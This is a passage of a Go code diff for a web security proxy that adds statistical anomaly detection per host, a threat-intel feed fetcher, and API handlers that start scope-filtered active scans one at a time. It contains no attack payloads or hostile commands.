meds = append(meds, ep.medianSize())
|
||||
have = append(have, ep)
|
||||
}
|
||||
if len(have) < th.minMetric {
|
||||
return
|
||||
}
|
||||
med := median(meds)
|
||||
spread := mad(meds, med)
|
||||
for i, ep := range have {
|
||||
z := robustZ(meds[i], med, spread)
|
||||
if z >= th.zThresh {
|
||||
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("response size %s bytes; host median %s (z=%.1f)",
|
||||
commas(int64(meds[i])), commas(int64(med)), z))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// latencySignal is sizeSignal for response duration.
|
||||
func latencySignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
|
||||
var meds []float64
|
||||
var have []*endpoint
|
||||
for _, ep := range eps {
|
||||
if len(ep.durs) == 0 {
|
||||
continue
|
||||
}
|
||||
meds = append(meds, ep.medianDur())
|
||||
have = append(have, ep)
|
||||
}
|
||||
if len(have) < th.minMetric {
|
||||
return
|
||||
}
|
||||
med := median(meds)
|
||||
spread := mad(meds, med)
|
||||
for i, ep := range have {
|
||||
z := robustZ(meds[i], med, spread)
|
||||
// Only slow outliers are interesting; a fast endpoint is not a lead.
|
||||
if z >= th.zThresh && meds[i] > med {
|
||||
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("median latency %dms; host median %dms (z=%.1f)",
|
||||
int64(meds[i]), int64(med), z))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// structureSignal flags a rare non-asset extension or a parameter name unique to
|
||||
// one endpoint on the host.
|
||||
func structureSignal(eps []*endpoint, _ thresholds, emit func(*endpoint, bool, string)) {
|
||||
extFreq := map[string]int{}
|
||||
paramFreq := map[string]int{}
|
||||
for _, ep := range eps {
|
||||
if ep.ext != "" {
|
||||
extFreq[ep.ext]++
|
||||
}
|
||||
for p := range ep.params {
|
||||
paramFreq[p]++
|
||||
}
|
||||
}
|
||||
for _, ep := range eps {
|
||||
if ep.ext != "" {
|
||||
_, common := commonWebExt[ep.ext]
|
||||
if !common && extFreq[ep.ext] == 1 {
|
||||
emit(ep, true, fmt.Sprintf("extension .%s appears on no other endpoint", ep.ext))
|
||||
}
|
||||
}
|
||||
var uniq []string
|
||||
for p := range ep.params {
|
||||
if paramFreq[p] == 1 {
|
||||
uniq = append(uniq, p)
|
||||
}
|
||||
}
|
||||
if len(uniq) > 0 {
|
||||
sort.Strings(uniq)
|
||||
emit(ep, false, fmt.Sprintf("parameter(s) %s used by no other endpoint", strings.Join(uniq, ", ")))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// headerSignal flags an endpoint exposing a framework/server token or auth scheme
|
||||
// rare for the host.
|
||||
func headerSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
|
||||
n := len(eps)
|
||||
techFreq := map[string]int{}
|
||||
authFreq := map[string]int{}
|
||||
for _, ep := range eps {
|
||||
if t := ep.modalTech(); t != "" {
|
||||
techFreq[t]++
|
||||
}
|
||||
if a := ep.modalAuth(); a != "" {
|
||||
authFreq[a]++
|
||||
}
|
||||
}
|
||||
domTech, domTechN := modalStr(techFreq)
|
||||
techDominates := domTech != "" && float64(domTechN)/float64(n) >= th.dominateFrac
|
||||
for _, ep := range eps {
|
||||
t := ep.modalTech()
|
||||
if techDominates && t != "" && t != domTech && frac(techFreq[t], n) < th.rareFrac {
|
||||
emit(ep, techFreq[t] == 1, fmt.Sprintf("tech %q; rest of host is %q (%d/%d)", t, domTech, techFreq[t], n))
|
||||
}
|
||||
a := ep.modalAuth()
|
||||
if a != "" && frac(authFreq[a], n) < th.rareFrac {
|
||||
emit(ep, authFreq[a] == 1, fmt.Sprintf("auth scheme %q is rare on this host (%d/%d)", a, authFreq[a], n))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// finding assembles a detect.Finding pointing at the endpoint's most recent
|
||||
// capture, so the operator's row actions (Send to Fuzz, Copy as curl) work. It
|
||||
// carries no occurrences: the representative moves each cycle and an occurrence
|
||||
// per move would inflate Count without meaning.
|
||||
func (ep *endpoint) finding(ruleID, detail string, sev detect.Severity, conf detect.Confidence) detect.Finding {
|
||||
now := time.Now()
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(ruleID, ep.host, ep.key),
|
||||
RuleID: ruleID,
|
||||
RuleName: ruleNames[ruleID],
|
||||
Category: detect.CategoryAnomaly,
|
||||
Severity: sev,
|
||||
Confidence: conf,
|
||||
Target: detect.TargetMessage,
|
||||
Host: ep.host,
|
||||
Method: ep.repMeth,
|
||||
URL: ep.repURL,
|
||||
RequestID: ep.repReqID,
|
||||
Detail: ep.key,
|
||||
Evidence: detail,
|
||||
EvidenceOffset: -1,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
}
|
||||
}
|
||||
|
||||
func frac(count, total int) float64 {
|
||||
if total == 0 {
|
||||
return 0
|
||||
}
|
||||
return float64(count) / float64(total)
|
||||
}
|
||||
|
||||
// commas formats an integer with thousands separators for readable evidence.
|
||||
func commas(n int64) string {
|
||||
s := fmt.Sprintf("%d", n)
|
||||
neg := strings.HasPrefix(s, "-")
|
||||
if neg {
|
||||
s = s[1:]
|
||||
}
|
||||
var b strings.Builder
|
||||
for i, c := range s {
|
||||
if i > 0 && (len(s)-i)%3 == 0 {
|
||||
b.WriteByte(',')
|
||||
}
|
||||
b.WriteRune(c)
|
||||
}
|
||||
if neg {
|
||||
return "-" + b.String()
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package anomaly
|
||||
|
||||
import "sort"
|
||||
|
||||
// median returns the median of xs. It sorts a copy, so the caller's slice is
|
||||
// untouched. An empty slice returns 0.
|
||||
func median(xs []float64) float64 {
|
||||
n := len(xs)
|
||||
if n == 0 {
|
||||
return 0
|
||||
}
|
||||
c := make([]float64, n)
|
||||
copy(c, xs)
|
||||
sort.Float64s(c)
|
||||
if n%2 == 1 {
|
||||
return c[n/2]
|
||||
}
|
||||
return (c[n/2-1] + c[n/2]) / 2
|
||||
}
|
||||
|
||||
// mad is the median absolute deviation from med — a spread measure that, unlike
|
||||
// the standard deviation, is not itself dragged toward the outliers this package
|
||||
// hunts for.
|
||||
func mad(xs []float64, med float64) float64 {
|
||||
if len(xs) == 0 {
|
||||
return 0
|
||||
}
|
||||
dev := make([]float64, len(xs))
|
||||
for i, x := range xs {
|
||||
d := x - med
|
||||
if d < 0 {
|
||||
d = -d
|
||||
}
|
||||
dev[i] = d
|
||||
}
|
||||
return median(dev)
|
||||
}
|
||||
|
||||
// robustZ is the MAD-based z-score. 0.6745 rescales the MAD to a standard-
|
||||
// deviation-equivalent for normal data, so a threshold of ~3.5 has the usual
|
||||
// reading. Returns 0 when the spread is degenerate (every value identical),
|
||||
// which correctly flags nothing.
|
||||
func robustZ(x, med, madv float64) float64 {
|
||||
if madv <= 0 {
|
||||
return 0
|
||||
}
|
||||
z := 0.6745 * (x - med) / madv
|
||||
if z < 0 {
|
||||
z = -z
|
||||
}
|
||||
return z
|
||||
}
|
||||
|
||||
// modalStr returns the most frequent key in m and its count, ties broken by the
|
||||
// lexically smaller key so the result is stable across runs.
|
||||
func modalStr(m map[string]int) (string, int) {
|
||||
best := ""
|
||||
bestN := 0
|
||||
for k, v := range m {
|
||||
if v > bestN || (v == bestN && k < best) {
|
||||
best = k
|
||||
bestN = v
|
||||
}
|
||||
}
|
||||
return best, bestN
|
||||
}
|
||||
|
||||
// modalInt is modalStr for integer keys.
|
||||
func modalInt(m map[int]int) (int, int) {
|
||||
best := 0
|
||||
bestN := 0
|
||||
first := true
|
||||
for k, v := range m {
|
||||
if first || v > bestN || (v == bestN && k < best) {
|
||||
best = k
|
||||
bestN = v
|
||||
first = false
|
||||
}
|
||||
}
|
||||
return best, bestN
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package api
|
||||
|
||||
import "context"
|
||||
|
||||
// StartAnomalyLoop launches the per-host anomaly engine in the background,
|
||||
// mirroring StartDetectLoop. It runs whether or not the feature is enabled; the
|
||||
// engine cheaply no-ops each cycle while detect.Config.AnomalyEnabled is off, so
|
||||
// a live toggle needs no restart.
|
||||
func (s *APIServer) StartAnomalyLoop(ctx context.Context) {
|
||||
if s.anomalyEngine == nil {
|
||||
return
|
||||
}
|
||||
go s.anomalyEngine.Run(ctx)
|
||||
}
|
||||
@@ -31,6 +31,29 @@ func (s *APIServer) detectBackgroundCtx() context.Context {
|
||||
// proxy.Store rewrites its sequence numbering (Clear zeroes nextSeq, LoadItems
|
||||
// rewrites it); a stale high cursor stops detection for the session.
|
||||
func (s *APIServer) resetDetectCursor(seq int) {
|
||||
// The anomaly engine's record cache is keyed on the same sequence numbering,
|
||||
// so it must reset wherever detection's cursor does.
|
||||
if s.anomalyEngine != nil {
|
||||
s.anomalyEngine.ResetCursor(seq)
|
||||
}
|
||||
// Reflection mapping walks the same sequence numbering, so it resets here
|
||||
// too: this one function is what every reset path calls.
|
||||
if s.echoEngine != nil {
|
||||
s.echoEngine.ResetCursor(seq)
|
||||
if seq == 0 && s.echoStore != nil {
|
||||
s.echoStore.Clear()
|
||||
}
|
||||
}
|
||||
// Technology fingerprinting walks the same sequence numbering, so it resets
|
||||
// here too; at seq 0 ResetCursor also clears its derived host map.
|
||||
if s.techEngine != nil {
|
||||
s.techEngine.ResetCursor(seq)
|
||||
}
|
||||
// The OAST confirmer forward-scans the same sequence numbering and drops its
|
||||
// harvested hash set on reset, so it resets here too.
|
||||
if s.oastEngine != nil {
|
||||
s.oastEngine.ResetCursor(seq)
|
||||
}
|
||||
if s.detectScanner == nil {
|
||||
return
|
||||
}
|
||||
@@ -48,3 +71,22 @@ func (s *APIServer) clearDetectFindingsWithHistory() {
|
||||
s.broadcastDetectSummary()
|
||||
}
|
||||
}
|
||||
|
||||
// StartEchoLoop launches the reflection mapper. It runs unconditionally and
|
||||
// no-ops per tick while disabled, so a live toggle needs no restart.
|
||||
func (s *APIServer) StartEchoLoop(ctx context.Context) {
|
||||
if s.echoEngine == nil {
|
||||
return
|
||||
}
|
||||
go s.echoEngine.Run(ctx)
|
||||
}
|
||||
|
||||
// StartTechLoop launches the passive technology fingerprinter. Like the echo
|
||||
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
|
||||
// the embedded Wappalyzer database on its own goroutine, off the boot path.
|
||||
func (s *APIServer) StartTechLoop(ctx context.Context) {
|
||||
if s.techEngine == nil {
|
||||
return
|
||||
}
|
||||
go s.techEngine.Run(ctx)
|
||||
}
|
||||
@@ -39,6 +39,8 @@ func (s *APIServer) detectStateForProject() (
|
||||
SkipContentTypes: c.SkipContentTypes,
|
||||
SkipExtensions: c.SkipExtensions,
|
||||
ExcludeHosts: c.ExcludeHosts,
|
||||
AnomalyEnabled: c.AnomalyEnabled,
|
||||
AnomalySensitivity: c.AnomalySensitivity,
|
||||
}
|
||||
|
||||
// Sorted so a project file is stable across saves and diffs cleanly.
|
||||
@@ -150,6 +152,8 @@ func (s *APIServer) applyDetectProjectConfig(cfg *projectConfigFile) map[string]
|
||||
SkipContentTypes: p.SkipContentTypes,
|
||||
SkipExtensions: p.SkipExtensions,
|
||||
ExcludeHosts: p.ExcludeHosts,
|
||||
AnomalyEnabled: p.AnomalyEnabled,
|
||||
AnomalySensitivity: p.AnomalySensitivity,
|
||||
}
|
||||
}
|
||||
s.detectEngine.SetConfig(dc)
|
||||
|
||||
@@ -0,0 +1,163 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/feeds"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// Bringing the threat-intel feed aggregator up.
|
||||
//
|
||||
// Like the webhook feature, it is independent of automation and built in New rather than in
|
||||
// SetAutomation — an operator wanting CVE and KEV intel on their dashboard should not have to
|
||||
// arm an agent. The only switches are --no-feeds (removes it) and the off-by-default Settings
|
||||
// toggle (fetches nothing until armed). internal/feeds imports nothing from this package; the
|
||||
// outbound client is injected here as feedsFetch, the one place internal/proxy is reached.
|
||||
|
||||
// initFeeds opens feeds.json and builds the aggregator over the curated source set.
|
||||
//
|
||||
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
|
||||
// unreadable webhooks.json does, and is logged loudly so a silently absent store does not look
|
||||
// like the operator's settings vanished.
|
||||
func (s *APIServer) initFeeds() {
|
||||
if s.listenerMode || s.cfg.NoFeeds {
|
||||
return
|
||||
}
|
||||
store, err := feeds.NewSettingsStore(s.cfg.DataDir)
|
||||
if err != nil {
|
||||
log.Printf("[feeds] threat-intel feeds are disabled this run: %v", err)
|
||||
return
|
||||
}
|
||||
s.feedsStore = store
|
||||
s.feeds = feeds.NewAggregator(feeds.DefaultSources(), s.feedsFetch)
|
||||
}
|
||||
|
||||
// feedsFetch is the injected FetchFunc: a verified-TLS (insecure=false), no-redirect GET with
|
||||
// a request timeout and a bounded read. NewOutboundHTTPClient rather than NewHTTPClient because
|
||||
// NVD/CISA/ExploitDB/FIRST.org are public infrastructure to be authenticated, not MITM targets.
|
||||
//
|
||||
// Direct egress by default: feed traffic is incidental intel, not engagement traffic, so it
|
||||
// should not consume or reveal the operator's SOCKS tunnel. Passing a nil TransportConfig
|
||||
// leaves DialContext unset (a direct dial); only when the operator opts in via RouteThroughSocks
|
||||
// is s.transport passed, which honors SOCKS when one is configured. Built per fetch and closed,
|
||||
// because the transport snapshots the dialer at build time and has no idle timeout.
|
||||
func (s *APIServer) feedsFetch(ctx context.Context, rawURL string, limitBytes int64) ([]byte, error) {
|
||||
var tc *proxy.TransportConfig
|
||||
if s.feedsStore != nil && s.feedsStore.Get().RouteThroughSocks {
|
||||
tc = s.transport
|
||||
}
|
||||
client := proxy.NewOutboundHTTPClient(tc, false)
|
||||
defer client.CloseIdleConnections()
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set("Accept", "application/json, application/atom+xml, application/rss+xml, application/xml;q=0.9, */*;q=0.1")
|
||||
req.Header.Set("User-Agent", "Joro/"+s.buildInfo.Version)
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("feed endpoint returned HTTP %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(io.LimitReader(resp.Body, limitBytes))
|
||||
}
|
||||
|
||||
// startFeedsLoop runs the periodic refresher for the life of the server.
|
||||
//
|
||||
// A one-minute ticker is the backstop resolution; the actual cadence is the operator's
|
||||
// interval (floored at 15 min), tracked by nextRun. The loop no-ops while feeds are disabled
|
||||
// in settings, so toggling them on takes effect with no restart — and a handler kicks an
|
||||
// immediate refresh on an enable-flip so the UI does not wait up to a minute. feedsCtx is set
|
||||
// here, before serving, so a handler-kicked refresh can outlive its request.
|
||||
func (s *APIServer) startFeedsLoop(ctx context.Context) {
|
||||
if s.feeds == nil || s.feedsStore == nil {
|
||||
return
|
||||
}
|
||||
s.feedsCtx = ctx
|
||||
go func() {
|
||||
// A short settle so startup is not a thundering herd of outbound calls.
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-time.After(10 * time.Second):
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
var nextRun time.Time // zero => run on the first enabled pass
|
||||
for {
|
||||
st := s.feedsStore.Get()
|
||||
if st.Enabled && (nextRun.IsZero() || !time.Now().Before(nextRun)) {
|
||||
s.refreshFeedsTick(ctx)
|
||||
nextRun = time.Now().Add(time.Duration(st.IntervalMinutes) * time.Minute)
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// refreshFeedsTick refreshes the enabled categories and broadcasts the summary. A no-op when
|
||||
// feeds are off, so every caller (the loop, the manual-refresh handler, the enable kick) can
|
||||
// call it unconditionally.
|
||||
func (s *APIServer) refreshFeedsTick(ctx context.Context) {
|
||||
if s.feeds == nil || s.feedsStore == nil {
|
||||
return
|
||||
}
|
||||
st := s.feedsStore.Get()
|
||||
if !st.Enabled {
|
||||
return
|
||||
}
|
||||
snap := s.feeds.Refresh(ctx, st.Categories)
|
||||
s.hub.Broadcast() <- event.WSEvent{Type: "feeds.updated", Data: feedsSummary(snap)}
|
||||
}
|
||||
|
||||
// feedsContext returns the server-lifetime context for a handler-kicked refresh, falling back
|
||||
// to Background if the loop never started (it always does in proxy mode when feeds are on).
|
||||
func (s *APIServer) feedsContext() context.Context {
|
||||
if s.feedsCtx != nil {
|
||||
return s.feedsCtx
|
||||
}
|
||||
return context.Background()
|
||||
}
|
||||
|
||||
// feedsSummaryData is the small, droppable hint pushed on feeds.updated. The client re-GETs
|
||||
// the authoritative snapshot, the same pattern tech.detected / detect.summary use.
|
||||
type feedsSummaryData struct {
|
||||
GeneratedAt time.Time `json:"generatedAt"`
|
||||
Counts map[string]int `json:"counts"`
|
||||
AnyStale bool `json:"anyStale"`
|
||||
}
|
||||
|
||||
func feedsSummary(snap feeds.Snapshot) feedsSummaryData {
|
||||
counts := make(map[string]int, len(snap.Items))
|
||||
for cat, list := range snap.Items {
|
||||
counts[string(cat)] = len(list)
|
||||
}
|
||||
anyStale := false
|
||||
for _, src := range snap.Sources {
|
||||
if src.Stale {
|
||||
anyStale = true
|
||||
break
|
||||
}
|
||||
}
|
||||
return feedsSummaryData{GeneratedAt: snap.GeneratedAt, Counts: counts, AnyStale: anyStale}
|
||||
}
|
||||
@@ -0,0 +1,498 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// activeScanAvailable guards the active-scan routes, which exist only in proxy
|
||||
// mode. A JSON 404 rather than an unregistered route, so the SPA catch-all does
|
||||
// not answer with 200 + HTML.
|
||||
func (s *APIServer) activeScanAvailable(w http.ResponseWriter) bool {
|
||||
if s.activeScans == nil || s.activeScanRules == nil {
|
||||
writeError(w, http.StatusNotFound, "active scanning is not available in this mode")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// activeScanRequest starts a scan of a host or a single request.
|
||||
type activeScanRequest struct {
|
||||
// Scope is "host" (every captured GET endpoint for Origin) or "request" (one
|
||||
// URL, from RequestID or URL).
|
||||
Scope string `json:"scope"`
|
||||
Origin string `json:"origin,omitempty"` // scheme://host[:port], for a host scan
|
||||
URL string `json:"url,omitempty"` // a single URL, e.g. from Manipulate
|
||||
RequestID string `json:"requestId,omitempty"` // a captured request to scan
|
||||
Rules []string `json:"rules,omitempty"` // rule IDs; empty = all
|
||||
BudgetMs int `json:"budgetMs,omitempty"`
|
||||
|
||||
// Template-signature rule options. Tags and Severity narrow which signatures
|
||||
// run; IgnoreFingerprint skips technology gating and runs every eligible one.
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
Severity []string `json:"severity,omitempty"`
|
||||
IgnoreFingerprint bool `json:"ignoreFingerprint,omitempty"`
|
||||
// OAST opts out-of-band testing in or out when a listener is configured; nil
|
||||
// (omitted) leaves it on, false turns it off. It never enables OAST when no
|
||||
// callback domain is configured — that gate is server-side.
|
||||
OAST *bool `json:"oast,omitempty"`
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanStart(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
var req activeScanRequest
|
||||
if err := decodeJSON(r, &req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
|
||||
target, err := s.resolveScanTarget(req)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Scope filter, never a rule-count check: InScope returns true when scope
|
||||
// filtering is disabled, so with scope off nothing is rejected and the scan
|
||||
// covers every target. A host scan silently drops out-of-scope endpoints; a
|
||||
// single-request scan whose one URL is out of scope is refused outright so the
|
||||
// operator is not left with a silent, empty run.
|
||||
inScope, skipped := s.filterInScope(target.URLs)
|
||||
if len(inScope) == 0 {
|
||||
if req.Scope == "request" {
|
||||
writeError(w, http.StatusForbidden, "target is out of scope; adjust scope rules or disable scope filtering")
|
||||
return
|
||||
}
|
||||
writeError(w, http.StatusBadRequest, "no in-scope GET endpoints to scan for this host")
|
||||
return
|
||||
}
|
||||
target.URLs = inScope
|
||||
|
||||
rules := s.activeScanRules.Resolve(req.Rules)
|
||||
cfg := activescan.Config{
|
||||
Scope: req.Scope,
|
||||
Rules: req.Rules,
|
||||
BudgetMs: req.BudgetMs,
|
||||
Tags: req.Tags,
|
||||
Severity: req.Severity,
|
||||
IgnoreFingerprint: req.IgnoreFingerprint,
|
||||
NoOAST: req.OAST != nil && !*req.OAST,
|
||||
}
|
||||
total, err := activescan.Plan(cfg, target, rules)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
ruleIDs := make([]string, 0, len(rules))
|
||||
for _, rule := range rules {
|
||||
ruleIDs = append(ruleIDs, rule.ID())
|
||||
}
|
||||
|
||||
// One at a time, globally. A DOM XSS scan drives a single browser and a future
|
||||
// state-changing rule would race the target's own state; the claim and the
|
||||
// insert are one operation so two requests cannot both pass.
|
||||
run := activescan.NewRun(proxy.GenerateID(), cfg, target, ruleIDs, total)
|
||||
if running := s.activeScans.AddIfIdle(run); running != nil {
|
||||
writeError(w, http.StatusConflict,
|
||||
fmt.Sprintf("a scan of %q is already in flight; stop it before starting another", running.Origin))
|
||||
return
|
||||
}
|
||||
|
||||
deps := activescan.Deps{
|
||||
Broadcast: s.hub.Broadcast(),
|
||||
Findings: s.detectFindings,
|
||||
Notify: s.broadcastDetectSummary,
|
||||
Registry: s.activeScanRules,
|
||||
RuleDeps: activescan.RuleDeps{
|
||||
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
|
||||
CA: s.ca,
|
||||
Store: s.store,
|
||||
Scope: s.scope,
|
||||
DataDir: s.cfg.DataDir,
|
||||
Tech: s.techStore(),
|
||||
Callback: s.cbStore,
|
||||
},
|
||||
}
|
||||
// context.Background, not the request's: a scan outlives the HTTP call.
|
||||
go activescan.Execute(context.Background(), run, deps)
|
||||
|
||||
writeJSON(w, http.StatusCreated, map[string]any{
|
||||
"runId": run.ID, "total": total, "rules": ruleIDs,
|
||||
"urls": len(target.URLs), "skipped": skipped,
|
||||
})
|
||||
}
|
||||
|
||||
// resolveScanTarget turns a request into the concrete URLs to scan.
|
||||
func (s *APIServer) resolveScanTarget(req activeScanRequest) (activescan.Target, error) {
|
||||
switch req.Scope {
|
||||
case "host":
|
||||
if req.Origin == "" {
|
||||
return activescan.Target{}, fmt.Errorf("origin is required for a host scan")
|
||||
}
|
||||
return s.hostTarget(req.Origin)
|
||||
case "request":
|
||||
return s.requestTarget(req)
|
||||
default:
|
||||
return activescan.Target{}, fmt.Errorf("scope must be \"host\" or \"request\"")
|
||||
}
|
||||
}
|
||||
|
||||
// hostTarget collects a host's distinct requests from the capture store, carrying
|
||||
// the raw bytes and method so the injection rules can fuzz parameters (GET query +
|
||||
// POST/PUT/PATCH bodies) and DOM XSS can navigate the GET pages. Distinct by
|
||||
// method+URL+body-shape, so two POSTs to one URL with different bodies both count.
|
||||
// Not capped by a request count — the scan budget bounds the work.
|
||||
func (s *APIServer) hostTarget(origin string) (activescan.Target, error) {
|
||||
u, err := url.Parse(origin)
|
||||
if err != nil || u.Host == "" {
|
||||
return activescan.Target{}, fmt.Errorf("invalid origin")
|
||||
}
|
||||
reqs := s.store.NodeRequests(origin, "", false, proxy.RequestFilter{})
|
||||
seen := map[string]bool{}
|
||||
var urls []activescan.TargetURL
|
||||
for _, cr := range reqs {
|
||||
key := fmt.Sprintf("%s %s %d", cr.Method, cr.URL, len(cr.ReqRaw))
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
urls = append(urls, activescan.TargetURL{URL: cr.URL, Method: cr.Method, RequestID: cr.ID, RawReq: cr.ReqRaw})
|
||||
}
|
||||
if len(urls) == 0 {
|
||||
return activescan.Target{}, fmt.Errorf("no captured endpoints for %s", origin)
|
||||
}
|
||||
return activescan.Target{Scheme: u.Scheme, Host: u.Host, Origin: origin, URLs: urls}, nil
|
||||
}
|
||||
|
||||
// requestTarget builds a single-request target from a captured request or a raw
|
||||
// URL, carrying the raw bytes and method for the injection rules.
|
||||
func (s *APIServer) requestTarget(req activeScanRequest) (activescan.Target, error) {
|
||||
rawURL := strings.TrimSpace(req.URL)
|
||||
method := "GET"
|
||||
requestID := ""
|
||||
var rawReq []byte
|
||||
if req.RequestID != "" {
|
||||
cr := s.store.Get(req.RequestID)
|
||||
if cr == nil {
|
||||
return activescan.Target{}, fmt.Errorf("no such request")
|
||||
}
|
||||
rawURL = cr.URL
|
||||
requestID = cr.ID
|
||||
method = cr.Method
|
||||
rawReq = cr.ReqRaw
|
||||
}
|
||||
if rawURL == "" {
|
||||
return activescan.Target{}, fmt.Errorf("a request scan needs a requestId or url")
|
||||
}
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Host == "" || u.Scheme == "" {
|
||||
return activescan.Target{}, fmt.Errorf("invalid url")
|
||||
}
|
||||
return activescan.Target{
|
||||
Scheme: u.Scheme,
|
||||
Host: u.Host,
|
||||
Origin: u.Scheme + "://" + u.Host,
|
||||
URLs: []activescan.TargetURL{{URL: rawURL, Method: method, RequestID: requestID, RawReq: rawReq}},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// filterInScope keeps only URLs that pass scope, returning the kept set and the
|
||||
// number dropped. With scope filtering disabled, InScope is true for all.
|
||||
func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activescan.TargetURL, skipped int) {
|
||||
for _, tu := range urls {
|
||||
u, err := url.Parse(tu.URL)
|
||||
if err != nil {
|
||||
skipped++
|
||||
continue
|
||||
}
|
||||
method := tu.Method
|
||||
if method == "" {
|
||||
method = "GET"
|
||||
}
|
||||
if s.scope.InScope(u.Host, method, u.Path) {
|
||||
kept = append(kept, tu)
|
||||
} else {
|
||||
skipped++
|
||||
}
|
||||
}
|
||||
return kept, skipped
|
||||
}
|
||||
|
||||
// activeRuleSeverity is the representative severity shown for a single-row active
|
||||
// rule in the Rules UI; the actual findings carry their own confirmed severity.
|
||||
func activeRuleSeverity(cat detect.Category) detect.Severity {
|
||||
switch cat {
|
||||
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
|
||||
return detect.SeverityCritical
|
||||
case detect.CategoryOpenRedirect:
|
||||
return detect.SeverityMedium
|
||||
default:
|
||||
return detect.SeverityHigh
|
||||
}
|
||||
}
|
||||
|
||||
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
rules := s.activeScanRules.All()
|
||||
out := make([]map[string]any, 0, len(rules))
|
||||
for _, rule := range rules {
|
||||
entry := map[string]any{
|
||||
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
|
||||
"description": rule.Description(),
|
||||
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
|
||||
}
|
||||
// hasSignatures tells the UI to render the rule's catalog items as rows rather
|
||||
// than the rule as a single row: any rule implementing Cataloger has a catalog.
|
||||
_, hasCatalog := rule.(activescan.Cataloger)
|
||||
entry["hasSignatures"] = hasCatalog
|
||||
// A single-row rule carries the row's severity/confidence/target (its
|
||||
// representative class severity); a catalog rule's rows carry their own.
|
||||
if !hasCatalog {
|
||||
entry["severity"] = string(activeRuleSeverity(rule.Category()))
|
||||
entry["confidence"] = string(detect.ConfidenceHigh)
|
||||
entry["target"] = string(detect.TargetMessage)
|
||||
}
|
||||
out = append(out, entry)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
|
||||
}
|
||||
|
||||
// handleSetActiveScanRuleEnabled toggles whether a rule runs when a scan is
|
||||
// started without an explicit rule selection. The toggle persists with the
|
||||
// project, so it marks the config dirty. Mirrors handleSetDetectRuleEnabled.
|
||||
func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *http.Request) {
|
||||
if !s.activeScanAvailable(w) {
|
||||
return
|
||||
}
|
||||
id := r.PathValue("id")
|
||||
if s.activeScanRules.Get(id) == nil {
|
||||
writeError(w, http.StatusNotFound, "no such rule")
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
if err := decodeJSON(r, &body); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "invalid JSON")
|
||||
return
|
||||
}
|
||||
s.activeScanRules.SetEnabled(id, body.Enabled)
|
||||
// The toggle is picked up by the next autosave tick, which compares
|
||||
// projectSignature (now carrying the disabled set); no explicit save here.
|
||||
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
|
||||
}
|
||||
|
||||
